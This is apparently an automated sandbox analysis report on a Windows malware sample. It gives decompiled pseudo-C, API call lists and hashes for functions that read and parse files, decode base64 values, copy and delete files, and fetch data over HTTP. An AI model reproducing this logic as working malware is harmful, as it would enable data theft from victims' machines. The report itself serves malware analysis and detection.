							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x83b3a8
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x83b3a8
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x83a2d0
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x83a280
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,00839B58), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,0083ABB8), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,0083ABE8), ref: 004091A9
lstrlen.KERNEL32(0083ABE8), ref: 004091C9
StrStrA.SHLWAPI(00000000,0083AC60), ref: 004091ED
lstrcat.KERNEL32(00000000,0083A4C0), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,0083A5A0), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,0083A570), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,0083B388), ref: 004092BA
lstrlen.KERNEL32(0083B388), ref: 004092C8
StrStrA.SHLWAPI(00000000,0083B3A8), ref: 004092E6
lstrcat.KERNEL32(00000000,0083A580), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,0083B3A8), ref: 00409350
lstrlen.KERNEL32(0083B3A8), ref: 0040935E
StrStrA.SHLWAPI(00000000,0083A2D0), ref: 0040937C
lstrcat.KERNEL32(00000000,0083A280), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

, xrefs: 0040908F

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C92B0, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 006C9305
lstrcat.KERNEL32(?,00414018), ref: 006C9317
lstrcat.KERNEL32(?,0041A7E4), ref: 006C932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 006C9381
GetFileSize.KERNEL32(00000000,00000000), ref: 006C9390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 006C93A9
new[].LIBCMTD ref: 006C93B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 006C93E8
StrStrA.SHLWAPI(?,0041A170), ref: 006C93F9
lstrlen.KERNEL32(0041A170), ref: 006C9419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 006C943D
lstrcat.KERNEL32(0041A838,0041A334), ref: 006C9463
lstrcat.KERNEL32(0041A838,?), ref: 006C9474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C9486
lstrcat.KERNEL32(0041A838,0041A37C), ref: 006C9499
lstrcat.KERNEL32(0041A838,00000020), ref: 006C94A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C94BB
lstrcat.KERNEL32(0041A838,0041A144), ref: 006C94CE
lstrcat.KERNEL32(0041A838,00000000), ref: 006C94E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C94F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 006C950A
lstrlen.KERNEL32(0041A5B8), ref: 006C9518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 006C9536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 006C955B

Part of subcall function 006C79F0: lstrlen.KERNEL32(006C956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 006C7A3B
Part of subcall function 006C79F0: CryptStringToBinaryA.CRYPT32(006C956D,00000000), ref: 006C7A46

lstrcat.KERNEL32(0041A838,00000000), ref: 006C9578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C9589
StrStrA.SHLWAPI(?,0041A5B4), ref: 006C95A0
lstrlen.KERNEL32(0041A5B4), ref: 006C95AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 006C95CC
lstrcat.KERNEL32(0041A838,0041A14C), ref: 006C95F1

Part of subcall function 006C79F0: lstrcat.KERNEL32(?,0041401A), ref: 006C7B09
Part of subcall function 006C79F0: lstrcat.KERNEL32(?,0041401A), ref: 006C7B1D
Part of subcall function 006C79F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 006C7B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 006C960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 006C961F
CloseHandle.KERNEL32(00000000), ref: 006C963D

Strings

, xrefs: 006C92DF

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: 444c8adf27553d9aa13a271609929ac53994faff054a4d0682ba5a4f335698f0
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: 9BA12AB5A11204AFCB15EBA4DD89FEA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,0083A350), ref: 00407EF9
lstrcat.KERNEL32(?,0083A460), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,0083A350), ref: 00407F58
lstrcat.KERNEL32(?,0083A460), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C7FA0, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 006C7FB5
lstrcat.KERNEL32(?,00414018), ref: 006C7FC7

Part of subcall function 006CBB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 006CBB21

lstrcat.KERNEL32(?,00000000), ref: 006C7FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 006C7FF2
wsprintfA.USER32 ref: 006C801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C806F
RtlAllocateHeap.NTDLL(00000000), ref: 006C8076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 006C8122
lstrcat.KERNEL32(?,0041A48C), ref: 006C8149
lstrcat.KERNEL32(?,0041A15C), ref: 006C816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 006C8180
lstrcat.KERNEL32(?,0041A48C), ref: 006C81A8
lstrcat.KERNEL32(?,0041A15C), ref: 006C81CE

Part of subcall function 006C7480: memset.MSVCRT ref: 006C74D2
Part of subcall function 006C7480: LocalAlloc.KERNEL32(00000040,?), ref: 006C7521
Part of subcall function 006C7480: lstrcat.KERNEL32(?,00000000), ref: 006C7587

lstrcat.KERNEL32(?,00418BE0), ref: 006C81FE
lstrcat.KERNEL32(?,?), ref: 006C8212
lstrcat.KERNEL32(?,004191EC), ref: 006C8224
lstrcat.KERNEL32(?,?), ref: 006C8238
lstrcat.KERNEL32(?,004191EC), ref: 006C824A
lstrcat.KERNEL32(?,?), ref: 006C825E
lstrcat.KERNEL32(?,004191EC), ref: 006C8270
lstrcat.KERNEL32(?,?), ref: 006C8284
lstrcat.KERNEL32(?,004191EC), ref: 006C8296
lstrcat.KERNEL32(?,?), ref: 006C82AA
lstrcat.KERNEL32(?,004191EC), ref: 006C82BC
lstrcat.KERNEL32(?,?), ref: 006C82D0
lstrcat.KERNEL32(?,004191EC), ref: 006C82E2
lstrcat.KERNEL32(?,00000000), ref: 006C8320
lstrcat.KERNEL32(?,00418BC4), ref: 006C8332
lstrlen.KERNEL32(?), ref: 006C8344
DeleteFileA.KERNEL32(?), ref: 006C8394

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: 9cf848d655f3c67e068ac1bdacc28a6c84aea75f1958e75c150d46faf190d937
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 33B194B5A51108BBCB10EBA4DD8DFEA77B9AF4C704F008598F20597141CB34DAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 43.8, APIs: 29, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(0083A7F8), ref: 00406CAA

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,0083A350), ref: 00408DEA
lstrcat.KERNEL32(?,0083A460), ref: 00408E10
lstrcat.KERNEL32(?,0083A350), ref: 00408EC8
lstrcat.KERNEL32(?,0083A460), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C8E50, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C8E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C8ECC
RtlAllocateHeap.NTDLL(00000000), ref: 006C8ED3
lstrcat.KERNEL32(?,0041A48C), ref: 006C903A
lstrcat.KERNEL32(?,0041A15C), ref: 006C9060
lstrcat.KERNEL32(?,0041A48C), ref: 006C9118
lstrcat.KERNEL32(?,0041A15C), ref: 006C913E
lstrcat.KERNEL32(?,?), ref: 006C9152
lstrcat.KERNEL32(?,004191EC), ref: 006C9164
lstrcat.KERNEL32(?,?), ref: 006C9178
lstrcat.KERNEL32(?,004191EC), ref: 006C918A
lstrcat.KERNEL32(?,?), ref: 006C919E
lstrcat.KERNEL32(?,004191EC), ref: 006C91B0
lstrcat.KERNEL32(?,?), ref: 006C91C4
lstrcat.KERNEL32(?,004191EC), ref: 006C91D6
lstrcat.KERNEL32(?,?), ref: 006C91EA
lstrcat.KERNEL32(?,004191EC), ref: 006C91FC
lstrcat.KERNEL32(?,?), ref: 006C9210
lstrcat.KERNEL32(?,004191EC), ref: 006C9222
lstrcat.KERNEL32(?,?), ref: 006C9236
lstrcat.KERNEL32(?,00418BC4), ref: 006C9248
lstrlen.KERNEL32(?), ref: 006C925A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: dc958219ad8509503a6594e7cfa457499da86b2860ad8049f5e448dece0fb012
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: 5BC15FB1A01218AFCB24DF64DD89FEA7BB5AF49704F0081D9F209A7291C7359E90CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,0083A4C0), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,0083A5A0), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,0083A570), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,0083A580), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,0083A280), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 006C7D10, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,006C8AFE,?,?,0041ABAC,00000000,00000000), ref: 006C7D29
lstrcat.KERNEL32(?,00414018), ref: 006C7D3B

Part of subcall function 006CBB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 006CBB21

lstrcat.KERNEL32(?,00000000), ref: 006C7D53
CopyFileA.KERNEL32(?,?,00000001), ref: 006C7D66
DeleteFileA.KERNEL32(?), ref: 006C7F8C

Part of subcall function 006C7480: memset.MSVCRT ref: 006C74D2
Part of subcall function 006C7480: LocalAlloc.KERNEL32(00000040,?), ref: 006C7521
Part of subcall function 006C7480: lstrcat.KERNEL32(?,00000000), ref: 006C7587

lstrcat.KERNEL32(?,00000000), ref: 006C7E47
lstrcat.KERNEL32(0041A838,0041A334), ref: 006C7E5B
lstrcat.KERNEL32(0041A838,?), ref: 006C7E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C7E7E
lstrcat.KERNEL32(0041A838,0041A37C), ref: 006C7E91
lstrcat.KERNEL32(0041A838,?), ref: 006C7EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C7EB3
lstrcat.KERNEL32(0041A838,0041A144), ref: 006C7EC6
lstrcat.KERNEL32(0041A838,?), ref: 006C7EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C7EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 006C7EFF
lstrcat.KERNEL32(0041A838,?), ref: 006C7F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006C7F25
lstrcat.KERNEL32(0041A838,0041A14C), ref: 006C7F38
lstrcat.KERNEL32(0041A838,?), ref: 006C7F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 006C7F5D

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: 3edbc4122f82b1fe98e07c9588ae16584b5daa867f816f88b9b2dff13f2fa3ca
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: 916152B1611104AFC714EBA4EE89DEA37F9EF4C305F008569F60583261D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
